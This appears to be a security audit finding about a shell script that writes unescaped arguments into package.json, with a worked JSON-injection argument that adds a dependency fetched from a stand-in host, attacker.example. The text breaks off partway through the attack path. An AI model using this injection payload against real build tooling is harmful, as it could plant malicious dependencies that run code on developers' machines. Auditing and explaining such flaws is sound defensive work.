T09 · Insecure Skill Coding Practices
- Location
package-json-generator.sh:2- Finding
Unescaped Arguments Allow Arbitrary package.json Property Injection
- Content
View full analysis
package.json << JSON { "name": "$NAME", "version": "$VERSION", ``` ### Technical Analysis The script inserts the user-controlled `NAME` and `VERSION` arguments directly into a JSON document without JSON encoding or input validation. An argument containing quotation marks and JSON syntax can terminate the intended string and inject additional top-level properties. For example, the following project name can add an attacker-selected dependency: ```bash ./package-json-generator.sh \ 'safe", "dependencies":{"evil":"https://attacker.example/payload.tgz"}, "x":"y' ``` The generated manifest would contain attacker-controlled properties similar to: ```json { "name": "safe", "dependencies": { "evil": "https://attacker.example/payload.tgz" }, "x": "y", "version": "1.0.0" } ``` Although the generator does not itself invoke `npm install`, a subsequent package installation can retrieve the injected package. If installation scripts are enabled, lifecycle scripts shipped by that dependency may execute with the privileges of the user or automation account running npm. The same flaw also permits injection of other package configuration, corruption of the generated manifest, or alteration of scripts and metadata. ### Attack Path 1. An attacker controls or influences the name or version passed to the generator, such as through copied setup instructions, CI parameters, or another wrapper script. 2. The attacker supplies a value containing a closing quotation mark and additional JSON properties. 3. The generator embeds the value verbatim into `package.json`. 4. The resulting file contains attacker-selected dependencies, scripts, or configuration. 5. A developer or CI process subsequently executes `npm insta ...[truncated 824 chars]- Remediation
View remediation
